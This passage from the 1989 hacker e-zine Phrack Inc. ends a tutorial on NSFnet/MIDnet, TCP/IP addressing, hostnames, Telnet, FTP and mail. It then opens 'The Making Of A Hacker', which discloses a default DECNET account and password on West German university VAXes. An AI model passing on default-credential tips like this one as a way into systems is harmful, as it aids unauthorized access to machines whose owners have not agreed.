  10712. for more details.
  10713.  
  10714. MIDnet is just one of several regional computer networks that comprise the
  10715. NSFnet system.  Although all of these regional computer networks work the
  10716. same,
  10717. MIDnet is the only one that I have direct access to and so this file is
  10718. written
  10719. from a MIDnet point of view.  For people who have access to the other
  10720. regional
  10721. networks of NSFnet, the only real differences depicted in this file that
  10722. would
  10723. not apply to the other regional networks are the universities that are
  10724. served
  10725. by MIDnet as opposed to:
  10726.  
  10727. NYSERnet  in New York State
  10728. SURAnet   in the southeastern United States
  10729. SEQSUInet in Texas
  10730. BARRnet   in the San Francisco area
  10731. MERIT     in Michigan
  10732.  
  10733.            (There are others that are currently being constructed.)
  10734.  
  10735. These regional networks all hook into the NSFnet backbone, which is a
  10736. network
  10737. that connects the six supercomputer centers.  For example, a person at
  10738. Kansas
  10739. State University can connect with a supercomputer via MIDnet and the NSFnet
  10740. backbone.  That researcher can also send mail to colleagues at the
  10741. University
  10742. of Delaware by using MIDnet, NSFnet and SURAnet.  Each university has its
  10743. own
  10744. local computer network which connects on-campus computers as well as
  10745. providing
  10746. a means to connecting to a regional network.
  10747.  
  10748. Some universities are already connected to older networks such as CSnet,
  10749. the
  10750. ARPAnet and BITnet.  In principal, any campus connected to any of these
  10751. networks can access anyone else in any other network since there are
  10752. gateways
  10753. between the networks.
  10754.  
  10755. Gateways are specialized computers that forward network traffic, thereby
  10756. connecting networks.  In practice, these wide-area networks use different
  10757. networking technology which make it impossible to provide full
  10758.  
  10759.  
  10760. functionality
  10761. across the gateways.  However, mail is almost universally supported across
  10762. all
  10763. gateways, so that a person at a BITnet site can send mail messages to a
  10764. colleague at an ARPAnet site (or anywhere else for that matter).  You
  10765. should
  10766. already be somewhat familiar with this, but if not refer to;
  10767.  
  10768. "Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, File 3 of 13) and
  10769. "Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11)
  10770.  
  10771. Computer networks rely on hardware and software that allow computers to
  10772. communicate.  The language that enables network communication is called a
  10773. protocol.  There are many different protocols in use today.  MIDnet uses
  10774. the
  10775. TCP/IP protocols, also known as the DOD (Department of Defense) Protocol
  10776. Suite.
  10777.  
  10778. Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet.  In
  10779. fact,
  10780. all the regional networks that are linked to the NSFnet backbone are
  10781. required
  10782. to use TCP/IP.  At the local campus level, TCP/IP is often used, although
  10783. other
  10784. protocols such as IBM's SNA and DEC's DECnet are common.  In order to
  10785. communicate with a computer via  MIDnet and the NSFnet, a computer at a
  10786. campus
  10787. must use TCP/IP directly or use a gateway that will translate its protocols
  10788. into TCP/IP.
  10789.  
  10790. The Internet is a world-wide computer network that is the conglomeration of
  10791. most of the large wide area networks, including ARPAnet, CSnet, NSFnet, and
  10792. the
  10793. regionals, such as MIDnet.  To a lesser degree, other networks such as
  10794. BITnet
  10795. that can send mail to hosts on these networks are included as part of the
  10796. Internet.  This huge network of networks, the Internet, as you have by now
  10797. read
  10798. all about in the pages of Phrack Inc., is a rapidly growing and very
  10799. complex
  10800. entity that allows sophisticated communication between scientists,
  10801. students,
  10802. government officials and others.  Being a part of this community is both
  10803. exciting and challenging.
  10804.  
  10805. This chapter of the Future Transcendent Saga gives a general description of
  10806. the
  10807. protocols and software used in MIDnet and the NSFNet.  A discussion of
  10808. several
  10809. of the more commonly used networking tools is also included to enable you
  10810. to
  10811. make practical use of the network as soon as possible.
  10812.  
  10813.  
  10814. The DOD Protocol Suite
  10815. ~~~~~~~~~~~~~~~~~~~~~~
  10816. The DOD Protocol Suite includes many different protocols.  Each protocol is
  10817. a
  10818.  
  10819.  
  10820. specification of how communication is to occur between computers.  Computer
  10821. hardware and software vendors use the protocol to create programs and
  10822. sometimes
  10823. specialized hardware in order to implement the network function intended by
  10824. the
  10825. protocol.  Different implementations of the same protocol exist for the
  10826. varied
  10827. hardware and operating systems found in a network.
  10828.  
  10829. The three most commonly used network functions are:
  10830.  
  10831. Mail          -- Sending and receiving messages
  10832. File Transfer -- Sending and receiving files
  10833. Remote Login  -- Logging into a distant computer
  10834.  
  10835. Of these, mail is probably the most commonly used.
  10836.  
  10837. In the TCP/IP world, there are three different protocols that realize these
  10838. functions:
  10839.  
  10840. SMTP   -- (Simple Mail Transfer Protocol) Mail
  10841. FTP    -- (File Transfer Protocol) sending and receiving files
  10842. Telnet -- Remote login
  10843.  
  10844. How to use these protocols is discussed in the next section.  At first
  10845. glance,
  10846. it is not obvious why these three functions are the most common.  After
  10847. all,
  10848. mail and file transfer seem to be the same thing.  However, mail messages
  10849. are
  10850. not identical to files, since they are usually comprised of only ASCII
  10851. characters and are sequential in structure.  Files may contain binary data
  10852. and
  10853. have complicated, non-sequential structures.  Also, mail messages can
  10854. usually
  10855. tolerate some errors in transmission whereas files should not contain any
  10856. errors.  Finally, file transfers usually occur in a secure setting (i.e.
  10857. The
  10858. users who are transferring files know each other's names and passwords and
  10859. are
  10860. permitted to transfer the file, whereas mail can be sent to anybody as long
  10861. as
  10862. their name is known).
  10863.  
  10864. While mail and transfer accomplish the transfer of raw information from one
  10865. computer to another, Telnet allows a distant user to process that
  10866. information,
  10867. either by logging in to a remote computer or by linking to another
  10868. terminal.
  10869. Telnet is most often used to remotely log in to a distant computer, but it
  10870. is
  10871. actually a general-purpose communications protocol.  I have found it
  10872. incredibly
  10873. useful over the last year.  In some ways, it could be used for a great deal
  10874. of
  10875. access because you can directly connect to another computer anywhere that
  10876. has
  10877. TCP/IP capabilities, however please note that Telnet is *NOT* Telenet.
  10878.  
  10879.  
  10880. çThere are other functions that some networks provide, including the
  10881. following:
  10882.  
  10883. - Name to address translation for networks, computers and people
  10884. - The current time
  10885. - Quote of the day or fortune
  10886. - Printing on a remote printer, or use of any other remote peripheral
  10887. - Submission of batch jobs for non-interactive execution
  10888. - Dialogues and conferencing between multiple users
  10889. - Remote procedure call (i.e. Distributing program execution over several
  10890.                               remote computers)
  10891. - Transmission of voice or video information
  10892.  
  10893. Some of these functions are still in the experimental stages and require
  10894. faster
  10895. computer networks than currently exist.  In the future, new functions will
  10896. undoubtedly be invented and existing ones improved.
  10897.  
  10898. The DOD Protocol Suite is a layered network architecture, which means that
  10899. network functions are performed by different programs that work
  10900. independently
  10901. and in harmony with each other.  Not only are there different programs but
  10902. there are different protocols.  The protocols SMTP, FTP and Telnet are
  10903. described above.  Protocols have been defined for getting the current time,
  10904. the
  10905. quote of the day, and for translating names.  These protocols are called
  10906. applications protocols because users directly interact with the programs
  10907. that
  10908. implement these protocols.
  10909.  
  10910. The Transmission Control Protocol, TCP, is used by many of the application
  10911. protocols.  Users almost never interact with TCP directly.  TCP establishes
  10912. a
  10913. reliable end-to-end connection between two processes on remote computers.
  10914. Data
  10915. is sent through a network in small chunks called packets to improve
  10916. reliability
  10917. and performance.  TCP ensures that packets arrive in order and without
  10918. errors.
  10919. If a packet does have errors, TCP requests that the packet be
  10920. retransmitted.
  10921.  
  10922. In turn, TCP calls upon IP, Internet Protocol, to move the data from one
  10923. network to another.  IP is still not the lowest layer of the architecture,
  10924. since there is usually a "data link layer protocol" below it.  This can be
  10925. any
  10926. of a number of different protocols, two very common ones being X.25 and
  10927. Ethernet.
  10928.  
  10929. FTP, Telnet and SMTP are called "application protocols", since they are
  10930. directly used by applications programs that enable users to make use of the
  10931. network.  Network applications are the actual programs that implement these
  10932. protocols and provide an interface between the user and the computer.  An
  10933. implementation of a network protocol is a program or package of programs
  10934. that
  10935. provides the desired network function such as file transfer.  Since
  10936. computers
  10937. differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have
  10938.  
  10939.  
  10940. its
  10941. own implementation of these protocols.  However, the protocols are
  10942. standardized
  10943. so that computers can interoperate over the network (i.e. Can understand
  10944. and
  10945. process each other's data).  For example, a TCP packet generated by an IBM
  10946. computer can be read and processed by a DEC computer.
  10947.  
  10948. In many instances, network applications programs use the name of the
  10949. protocol.
  10950. For example, the program that transfers files may be called "FTP" and the
  10951. program that allows remote logins may be called "Telnet."  Sometimes these
  10952. protocols are incorporated into larger packages, as is common with SMTP.
  10953. Many
  10954. computers have mail programs that allow users on the same computer to send
  10955. mail
  10956. to each other.  SMTP functions are often added to these mail programs so
  10957. that
  10958. users can also send and receive mail through a network.  In such cases,
  10959. there
  10960. is no separate program called SMTP that the user can access, since the mail
  10961. program provides the user interface to this network function.
  10962.  
  10963. Specific implementation of network protocols, such as FTP, are tailored to
  10964. the
  10965. computer hardware and operating system on which they are used.  Therefore,
  10966. the
  10967. exact user interface varies from one implementation to another.  For
  10968. example,
  10969. the FTP protocol specifies a set of FTP commands which each FTP
  10970. implementation
  10971. must understand and process.  However, these are usually placed at a low
  10972. level,
  10973. often invisible to the user, who is given a higher set of commands to use.
  10974.  
  10975. These higher-level commands are not standardized so they may vary from one
  10976. implementation of FTP to another.  For some operating systems, not all of
  10977. these
  10978. commands make equal sense, such as "Change Directory," or may have
  10979. different
  10980. meanings.  Therefore the specific user interface that the user sees will
  10981. probably differ.
  10982.  
  10983. This file describes a generic implementation of the standard TCP/IP
  10984. application
  10985. protocols.  Users must consult local documentation for specifics at their
  10986. sites.
  10987.  
  10988.  
  10989. Names and Addresses In A Network
  10990. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  10991. In DOD Protocol Suite, each network is given a unique identifying number.
  10992. This
  10993. number is assigned by a central authority, namely the Network Information
  10994. Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than
  10995. one
  10996. network from having the same network number.  For example, the ARPAnet has
  10997. network number 10 while MIDnet has a longer number, namely 128.242.
  10998.  
  10999.  
  11000. çEach host in a network has a unique identification so other hosts can
  11001. specify
  11002. them unambiguously.  Host numbers are usually assigned by the organization
  11003. that
  11004. manages the network, rather than one central authority.  Host numbers do
  11005. not
  11006. need to be unique throughout the whole Internet but two hosts on the same
  11007. network need to have unique host numbers.
  11008.  
  11009. The combination of the network number and the host number is called the IP
  11010. address of the host and is specified as a 32-bit binary number.  All IP
  11011. addresses in the Internet are expressible as 32-bit numbers, although they
  11012. are
  11013. often written in dotted decimal notation.  Dotted decimal notation breaks
  11014. the
  11015. 32-bit number into four eight-bit parts or octets and each octet is
  11016. specified
  11017. as a decimal number.  For example, 00000001 is the binary octet that
  11018. specifies
  11019. the decimal number 1, while 11000000 specifies 192.  Dotted decimal
  11020. notation
  11021. makes IP addresses much easier to read and remember.
  11022.  
  11023. Computers in the Internet are also identified by hostnames, which are
  11024. strings
  11025. of characters, such as "phrackvax."  However, IP packets must specify the
  11026. 32-bit IP address instead of the hostname so  some way to translating
  11027. hostnames
  11028. to IP addresses must exist.
  11029.  
  11030. One way is to have a table of hostnames and their corresponding IP
  11031. addresses,
  11032. called a hosttable.  Nearly every TCP/IP implementation has such a
  11033. hosttable,
  11034. although the weaknesses of this method are forcing a shift to a new scheme
  11035. called the domain name system.  In UNIX systems, the hosttable is often
  11036. called
  11037. "/etc/hosts."  You can usually read this file and find out what the IP
  11038. addresses of various hosts are.  Other systems may call this file by a
  11039. different name and make it unavailable for public viewing.
  11040.  
  11041. Users of computers are generally given accounts to which all charges for
  11042. computer use are billed.  Even if computer time is free at an installation,
  11043. accounts are used to distinguish between the users and enforce file
  11044. protections.  The generic term "username" will be used in this file to
  11045. refer to
  11046. the name by which the computer account is accessed.
  11047.  
  11048. In the early days of the ARPAnet which was the first network to use the
  11049. TCP/IP
  11050. protocols, computer users were identified by their username, followed by a
  11051. commercial "at" sign (@), followed by the hostname on which the account
  11052. existed.  Networks were not given names, per se, although the IP address
  11053. specified a network number.
  11054.  
  11055. For example, "knight@phrackvax" referred to user "knight" on host
  11056. "phrackvax."
  11057. This did not specify which network "phrackvax" was on, although that
  11058.  
  11059.  
  11060. information could be obtained by examining the hosttable and the IP address
  11061. for
  11062. "phrackvax."  (However, "phrackvax" is a ficticious hostname used for this
  11063. presentation.)
  11064.  
  11065. As time went on, every computer on the network had to have an entry in its
  11066. hosttable for every other computer on the network.  When several networks
  11067. linked together to form the Internet, the problem of maintaining this
  11068. central
  11069. hosttable got out of hand.  Therefore, the domain name scheme was
  11070. introduced to
  11071. split up the hosttable and make it smaller and easier to maintain.
  11072.  
  11073. In the new domain name scheme, users are still identified by their
  11074. usernames,
  11075. but hosts are now identified by their hostname and any and all domains of
  11076. which
  11077. they are a part.  For example, the following address,
  11078. "KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host "UMCVMB".
  11079. However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in
  11080. turn
  11081. part of the domain "EDU".  There are other domains in "EDU", although only
  11082. one
  11083. is named "MISSOURI".  In the domain "MISSOURI", there is only one host
  11084. named
  11085. "UMCVMB".
  11086.  
  11087. However, other domains in "EDU" could theoretically have hosts named
  11088. "UMCVMB"
  11089. (although I would say that this is rather unlikely in this example).  Thus
  11090. the
  11091. combination of hostname and all its domains makes it unique.  The method of
  11092. translating such names into IP addresses is no longer as straightforward as
  11093. looking up the hostname in a table.  Several protocols and specialized
  11094. network
  11095. software called nameservers and resolvers implement the domain name scheme.
  11096.  
  11097. Not all TCP/IP implementations support domain names because it is rather
  11098. new.
  11099. In those cases, the local hosttable provides the only way to translate
  11100. hostnames to IP addresses.  The system manager of that computer will have
  11101. to
  11102. put an entry into the hosttable for every host that users may want to
  11103. connect
  11104. to.  In some cases, users may consult the nameserver themselves to find out
  11105. the
  11106. IP address for a given hostname and then use that IP address directly
  11107. instead
  11108. of a hostname.
  11109.  
  11110. I have selected a few network hosts to demonstrate how a host system can be
  11111. specified by both the hostname and host numerical address.  Some of the
  11112. nodes I
  11113. have selected are also nodes on BITnet, perhaps even some of the others
  11114. that I
  11115. do not make a note of due a lack of omniscent awareness about each and
  11116. every
  11117. single host system in the world :-)
  11118.  
  11119.  
  11120. ç- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  11121. - -
  11122. Numerical      Hostname                   Location
  11123. BITnet
  11124. ---------      --------                   --------
  11125. ------
  11126. 18.72.0.39     ATHENA.MIT.EDU             (Mass. Institute of Technology)
  11127.  ?
  11128. 26.0.0.73      SRI-NIC.ARPA               (DDN Network Information Center)
  11129.  -
  11130. 36.21.0.13     MACBETH.STANFORD.EDU       (Stanford University)
  11131.  ?
  11132. 36.21.0.60     PORTIA.STANFORD.EDU        (Stanford University)
  11133.  ?
  11134. 128.2.11.131   ANDREW.CMU.EDU             (Carnegie Mellon University)
  11135. ANDREW
  11136. 128.3.254.13   LBL.GOV                    (Lawrence Berkeley Labrotories)
  11137. LBL
  11138. 128.6.4.7      RUTGERS.RUTGERS.EDU        (Rutgers University)
  11139.  ?
  11140. 128.59.99.1    CUCARD.MED.COLUMBIA.EDU    (Columbia University)
  11141.  ?
  11142. 128.102.18.3   AMES.ARC.NASA.GOV          (Ames Research Center [NASA])
  11143.  -
  11144. 128.103.1.1    HARVARD.EDU                (Harvard University)
  11145. HARVARD
  11146. 128.111.24.40  HUB.UCSB.EDU               (Univ. Of Calif-Santa Barbara)
  11147.  ?
  11148. 128.115.14.1   LLL-WINKEN.LLNL.GOV        (Lawrence Livermore Labratories)
  11149.  -
  11150. 128.143.2.7    UVAARPA.VIRGINIA.EDU       (University of Virginia)
  11151.  ?
  11152. 128.148.128.40 BROWNVM.BROWN.EDU          (Brown University)
  11153. BROWN
  11154. 128.163.1.5    UKCC.UKY.EDU               (University of Kentucky)
  11155. UKCC
  11156. 128.183.10.4   NSSDCA.GSFC.NASA.GOV       (Goddard Space Flight Center
  11157. [NASA])-
  11158. 128.186.4.18   RAI.CC.FSU.EDU             (Florida State University)
  11159. FSU
  11160. 128.206.1.1    UMCVMB.MISSOURI.EDU        (Univ. of Missouri-Columbia)
  11161. UMCVMB
  11162. 128.208.1.15   MAX.ACS.WASHINGTON.EDU     (University of Washington)
  11163. MAX
  11164. 128.228.1.2    CUNYVM.CUNY.EDU            (City University of New York)
  11165. CUNYVM
  11166. 129.10.1.6     NUHUB.ACS.NORTHEASTERN.EDU (Northeastern University)
  11167. NUHUB
  11168. 131.151.1.4    UMRVMA.UMR.EDU             (University of Missouri-Rolla)
  11169. UMRVMA
  11170. 192.9.9.1      SUN.COM                    (Sun Microsystems, Inc.)
  11171.  -
  11172. 192.33.18.30   VM1.NODAK.EDU              (North Dakota State Univ.)
  11173. NDSUVM1
  11174. 192.33.18.50   PLAINS.NODAK.EDU           (North Dakota State Univ.)
  11175. NDSUVAX
  11176.  
  11177. Please Note:  Not every system on BITnet has an IP address.  Likewise, not
  11178.  
  11179.  
  11180.               every system that has an IP address is on BITnet.  Also,
  11181. while
  11182.               some locations like Stanford University may have nodes on
  11183. BITnet
  11184.               and have hosts on the IP as well, this does not neccessarily
  11185.               imply that the systems on BITnet and on IP (the EDU domain in
  11186.               this case) are the same systems.
  11187.  
  11188.               Attempts to gain unauthorized access to systems on the
  11189. Internet
  11190.               are not tolerated and is legally a federal offense.  At some
  11191.               hosts, they take this very seriously, especially the
  11192. government
  11193.               hosts such as NASA's Goddard Space Flight Center, where they
  11194. do
  11195.               not mind telling you so at the main prompt when you connect
  11196. to
  11197.               their system.
  11198.  
  11199.               However, some nodes are public access to an extent.  The DDN
  11200.               Network Information Center can be used by anyone.  The server
  11201. and
  11202.               database there have proven to be an invaluable source of
  11203.               information when locating people, systems, and other
  11204. information
  11205.               that is related to the Internet.
  11206. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  11207. - -
  11208. Telnet
  11209.  
  11210. ~~~~~~
  11211. Remote login refers to logging in to a remote computer from a terminal
  11212. connected to a local computer.  Telnet is the standard protocol in the DOD
  11213. Protocol Suite for accomplishing this.  The "rlogin" program, provided with
  11214. Berkeley UNIX systems and some other systems, also enables remote login.
  11215.  
  11216. For purposes of discussion, the "local computer" is the computer to which
  11217. your
  11218. terminal is directly connected while the "remote computer" is the computer
  11219. on
  11220. the network to which you are communicating and to which your terminal is
  11221. *NOT*
  11222. directly connected.
  11223.  
  11224. Since some computers use a different method of attaching terminals to
  11225. computers, a better definition would be the following:  The "local
  11226. computer" is
  11227. the computer that you are currently using and the "remote computer" is the
  11228. computer on the network with which you are or will be communicating.  Note
  11229. that
  11230. the terms "host" and "computer" are synonymous in the following discussion.
  11231.  
  11232. To use Telnet, simply enter the command: TELNET
  11233.  
  11234. The prompt that Telnet gives is:  Telnet>
  11235.  
  11236. (However, you can specify where you want to Telnet to immediately and
  11237. bypass
  11238.  
  11239.  
  11240. the the prompts and other delays by issuing the command:  TELNET
  11241. [location].)
  11242.  
  11243. There is help available by typing in ?.  This prints a list of all the
  11244. valid
  11245. subcommands that Telnet provides with a one-line explanation.
  11246.  
  11247. Telnet> ?
  11248.  
  11249. To connect to to another computer, use the open subcommand to open a
  11250. connection
  11251. to that computer.  For example, to connect to the host
  11252. "UMCVMB.MISSOURI.EDU",
  11253. do "open umcvmb.missouri.edu"
  11254.  
  11255. Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu"
  11256. into an
  11257. IP address and will send a packet to that host requesting login.  If the
  11258. remote
  11259. host decides to let you attempt a login, it prompts you for your username
  11260. and
  11261. password.  If the host does not respond, Telnet will "time out" (i.e. Wait
  11262. for
  11263. a reasonable amount of time such as 20 seconds) and then terminate with a
  11264. message such as "Host not responding."
  11265.  
  11266. If your computer does not have an entry for a remote host in its hosttable
  11267. and
  11268. it cannot resolve the name, you can use the IP address explicitly in the
  11269. telnet
  11270. command.  For example,
  11271.  
  11272. TELNET 26.0.0.73 (Note:  This is the IP address for the DDN Network
  11273. Information
  11274.                  Center [SRI-NIC.ARPA])
  11275.  
  11276. If you are successful in logging in, your terminal is connected to the
  11277. remote
  11278. host.  For all intents and purposes, your terminal is directly hard-wired
  11279. to
  11280. that host and you should be able to do anything on your remote terminal
  11281. that
  11282. you can do at any local terminal.  There are a few exceptions to this rule,
  11283. however.
  11284.  
  11285. Telnet provides a network escape character, such as CONTROL-T. You can find
  11286. out
  11287. what the escape character is by entering the "status" subcommand:
  11288.  
  11289. Telnet> status
  11290.  
  11291. You can change the escape character by entering the "escape" subcommand:
  11292.  
  11293. Telnet> escape
  11294.  
  11295. When you type in the escape character, the Telnet prompt returns to your
  11296. screen
  11297. and you can enter subcommands.  For example, to break the connection, which
  11298.  
  11299.  
  11300. usually logs you off the remote host, enter the subcommand "quit":
  11301.  
  11302. Telnet> quit
  11303.  
  11304. Your Telnet connection usually breaks when you log off the remote host, so
  11305. the
  11306. "quit" subcommand is not usually used to log off.
  11307.  
  11308. When you are logged in to a remote computer via Telnet, remember that there
  11309. is
  11310. a time delay between your local computer and the remote one.  This often
  11311. becomes apparent to users when scrolling a long file across the terminal
  11312. screen
  11313. nd they wish to cancel the scrolling by typing CONTROL-C or something
  11314. similar.
  11315. After typing the special control character, the scrolling continues.  The
  11316. special control character takes a certain amount of time to reach the
  11317. remote
  11318. computer which is still scrolling information.  Thus response from the
  11319. remote
  11320. computer will not likely be as quick as response from a local computer.
  11321.  
  11322. Once you are remotely logged on, the computer you are logged on to
  11323. effectively
  11324. becomes your "local computer," even though your original "local computer"
  11325. still
  11326. considers you logged on.  You can log on to a third computer which would
  11327. then
  11328. become your "local computer" and so on.  As you log out of each session,
  11329. your
  11330. previous session becomes active again.
  11331.  
  11332.  
  11333. File Transfer
  11334. ~~~~~~~~~~~~~
  11335.  
  11336. FTP is the program that allows files to be sent from one computer to
  11337. another.
  11338. "FTP" stands for "File Transfer Protocol".
  11339.  
  11340. When you start using FTP, a communications channel with another computer on
  11341. the
  11342. network is opened.  For example, to start using FTP and initiate a file
  11343. transfer session with a computer on the network called "UMCVMB", you would
  11344. issue the following subcommand:
  11345.  
  11346. FTP UMCVMB.MISSOURI.EDU
  11347.  
  11348. Host "UMCVMB" will prompt you for an account name and password.  If your
  11349. login
  11350. is correct, FTP will tell you so, otherwise it will say "login incorrect."
  11351. Try
  11352. again or abort the FTP program.  (This is usually done by typing a special
  11353. control character such as CONTROL-C.  The "program abort" character varies
  11354. from
  11355. system to system.)
  11356.  
  11357. Next you will see the FTP prompt, which is:
  11358.  
  11359.  
  11360. çFtp>
  11361.  
  11362. There are a number of subcommands of FTP.  The subcommand "?" will list
  11363. these
  11364. commands and a brief description of each one.
  11365.  
  11366. You can initiate a file transfer in either direction with FTP, either from
  11367. the
  11368. remote host or to the remote host.  The "get" subcommand initiates a file
  11369. transfer from the remote host (i.e. Tells the remote computer to send the
  11370. file
  11371. to the local computer [the one on which you issued the "ftp" command]).
  11372. Simply
  11373. enter "get" and  FTP will prompt you for the remote host's file name and
  11374. the
  11375. (new) local host's file name.  Example:
  11376.  
  11377. Ftp> get
  11378. Remote file name?
  11379. theirfile
  11380. local file name?
  11381. myfile
  11382.  
  11383. ou can abbreviate this by typing both file names on the same line as the
  11384. "get"
  11385. subcommand.  If you do not specify a local file name, the new local file
  11386. will
  11387. be called the same thing as the remote file.  Valid FTP subcommands to get
  11388. a
  11389. file include the following:
  11390.  
  11391. get theirfile myfile
  11392. get doc.x25
  11393.  
  11394. The "put" subcommand works in a similar fashion and is used to send a file
  11395. from
  11396. the local computer to the remote computer.  Enter the command "put" and FTP
  11397. will prompt you for the local file name and then the remote file name.  If
  11398. the
  11399. transfer cannot be done because the file doesn't exist or for some other
  11400. reason, FTP will print an error message.
  11401.  
  11402. There are a number of other subcommands in FTP that allow you to do many
  11403. more
  11404. things.  Not all of these are standard so consult your local documentation
  11405. or
  11406. type a question mark at the FTP prompt.  Some functions often built into
  11407. FTP
  11408. include the ability to look at files before getting or putting them, the
  11409. ability to change directories, the ability to delete files on the remote
  11410. computer, and the ability to list the directory on the remote host.
  11411.  
  11412. An intriguing capability of many FTP implementations is "third party
  11413. transfers."  For example, if you are logged on computer A and you want to
  11414. cause
  11415. computer B to send a file to computer C, you can use FTP to connect to
  11416. computer
  11417. B and use the "rmtsend" command.  Of course, you have to know usernames and
  11418.  
  11419.  
  11420. passwords on all three computers, since FTP never allows you to peek into
  11421. someone's directory and files unless you know their username and password.
  11422.  
  11423. The "cd" subcommand changes your working directory on the remote host.  The
  11424. "lcd" subcommand changes the directory on the local host.  For UNIX
  11425. systems,
  11426. the meaning of these subcommands is obvious.  Other systems, especially
  11427. those
  11428. that do not have directory-structured file system, may not implement these
  11429. commands or may implement them in a different manner.
  11430.  
  11431. The "dir" and "ls" subcommands do the same thing, namely list the files in
  11432. the
  11433. working directory of of the remote host.
  11434.  
  11435. The "list" subcommand shows the contents of a file without actually putting
  11436. it
  11437. into a file on the local computer.  This would be helpful if you just
  11438. wanted to
  11439. inspect a file.  You could interrupt it before it reached the end of the
  11440. file
  11441. by typing CONTROL-C or some other special character.  This is dependent on
  11442. your
  11443. FTP implementation.
  11444.  
  11445. The "delete" command can delete files on the remote host.  You can also
  11446. make
  11447. and remove directories on the remote host with "mkdir" and "rmdir".  The
  11448. "status" subcommand will tell you if you are connected and with whom and
  11449. what
  11450. the state of all your options are.
  11451.  
  11452. If you are transferring binary files or files with any non-printable
  11453. characters, turn binary mode on by entering the "binary" subcommand:
  11454.  
  11455. binary
  11456.  
  11457. To resume non-binary transfers, enter the "ascii" subcommand.
  11458.  
  11459. Transferring a number of files can be done easily by using "mput" (multiple
  11460. put) and "mget" (multiple get).  For example, to get every file in a
  11461. particular
  11462. directory, first issue a "cd" command to  change to that directory and then
  11463. an
  11464. "mget" command with an asterisk to indicate every file:
  11465.  
  11466. cd somedirectory
  11467. mget *
  11468.  
  11469. When you are done, use the "close" subcommand to break the communications
  11470. link.
  11471. You will still be in FTP, so you must use the "bye" subcommand to exit FTP
  11472. and
  11473. return to the command level.  The "quit" subcommand will close the
  11474. connection
  11475. and exit from FTP at the same time.
  11476.  
  11477.  
  11478.  
  11479.  
  11480. Mail
  11481. ~~~~
  11482. Mail is the simplest network facility to use in many ways.  All you have to
  11483. do
  11484. is to create your message, which can be done with a file editor or on the
  11485. spur
  11486. of the moment, and then send it.  Unlike FTP and Telnet, you do not need to
  11487. know the password of the username on the remote computer.  This is so
  11488. because
  11489. you cannot change or access the files of the remote user nor can you use
  11490. their
  11491. account to run programs.  All you can do is to send a message.
  11492.  
  11493. There is probably a program on your local computer which does mail between
  11494. users on that computer.  Such a program is called a mailer.  This may or
  11495. may
  11496. not be the way to send or receive mail from other computers on the network,
  11497. although integrated mailers are more and more common.  UNIX mailers will be
  11498. used as an example in this discussion.
  11499.  
  11500. Note that the protocol which is used to send and receive mail over a TCP/IP
  11501. network is called SMTP, the "Simple Mail Transfer Protocol."  Typically,
  11502. you
  11503. will not use any program called SMTP, but rather your local mail program.
  11504.  
  11505. UNIX mailers are usually used by invoking a program named "mail".  To
  11506. receive
  11507. new mail, simply type "mail".
  11508.  
  11509. There are several varieties of UNIX mailers in existence.  Consult your
  11510. local
  11511. documentation for details.  For example, the command "man mail" prints out
  11512. the
  11513. manual pages for the mail program on your computer.
  11514.  
  11515. To send mail, you usually specify the address of the recipient on the mail
  11516. command.  For example: "mail knight@umcvmb.missouri.edu" will send the
  11517. following message to username "knight" on host "umcvmb".
  11518.  
  11519. You can usually type in your message one line at a time, pressing RETURN
  11520. after
  11521. each line and typing CONTROL-D to end the message. Other facilities to
  11522. include
  11523. already-existing files sometimes exist.  For example, Berkeley UNIXes allow
  11524. you
  11525. to enter commands similar to the following to include a file in your
  11526. current
  11527. mail message:
  11528.  
  11529. r myfile
  11530.  
  11531. In this example, the contents of "myfile" are inserted into the message at
  11532. this
  11533. point.
  11534.  
  11535. Most UNIX systems allow you to send a file through the mail by using input
  11536. redirection.  For example:
  11537.  
  11538.  
  11539.  
  11540. mail knight@umcvmb.missouri.edu < myfile
  11541.  
  11542. In this example, the contents of "myfile" are sent as a message to "knight"
  11543. on
  11544. "umcvmb."
  11545.  
  11546. Note that in many UNIX systems the only distinction between mail bound for
  11547. another user on the same computer and another user on a remote computer is
  11548. simply the address specified.  That is, there is no hostname for local
  11549. recipients.  Otherwise, mail functions in exactly the same way.  This is
  11550. common
  11551. for integrated mail packages.  The system knows whether to send the mail
  11552. locally or through the network based on the address and the user is
  11553. shielded
  11554. from any other details.
  11555.  
  11556.  
  11557.                   "The Quest For Knowledge Is Without End..."
  11558. ___________________________________________________________________________╝____
  11559.  
  11560.  
  11561.                                 ==Phrack Inc.==
  11562.  
  11563.                      Volume Three, Issue 27, File 7 of 12
  11564.  
  11565.                <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
  11566.                <:>                                          <:>
  11567.                <:>          The Making Of A Hacker          <:>
  11568.                <:>                                          <:>
  11569.                <:>        by Framstag of West Germany       <:>
  11570.                <:>                                          <:>
  11571.                <:>                June 2, 1989              <:>
  11572.                <:>                                          <:>
  11573.                <:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
  11574.  
  11575.  
  11576. Prologue For None VMS Users
  11577. ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  11578.      DECnet is the network for DEC machines, in most cases you can say
  11579. VAXes.
  11580. DECnet allows you to do:   - e-mail
  11581.                            - file transfer
  11582.                            - remote login
  11583.                            - remote command
  11584.                            - remote job entry
  11585.                            - PHONE
  11586.      PHONE is an interactive communication between users and is equal to
  11587. TALK
  11588. on UNIX or a "deluxe"-CHAT on VM/CMS.
  11589.  
  11590.      BELWUE, the university network of the state Baden-Wuerttemberg in
  11591. West Germany contains (besides other networks) a DECnet with about 400
  11592. VAXes.
  11593. On every VAX there is standard-account called DECNET with pw:= DECNET,
  11594. which is
  11595. not reachable via remote login.  This account is provided for several
  11596. DECnet-Utilities and as a pseudo-guest-account.  The DECNET-account has
  11597.  
  11598.  
  11599. very
  11600. restricted privileges:  You cannot edit a file or make another remote
  11601. login.
  11602.  
  11603.     The HELP-menu is equipped by the system and is similar to the MAN
  11604. command
  11605. on UNIX.
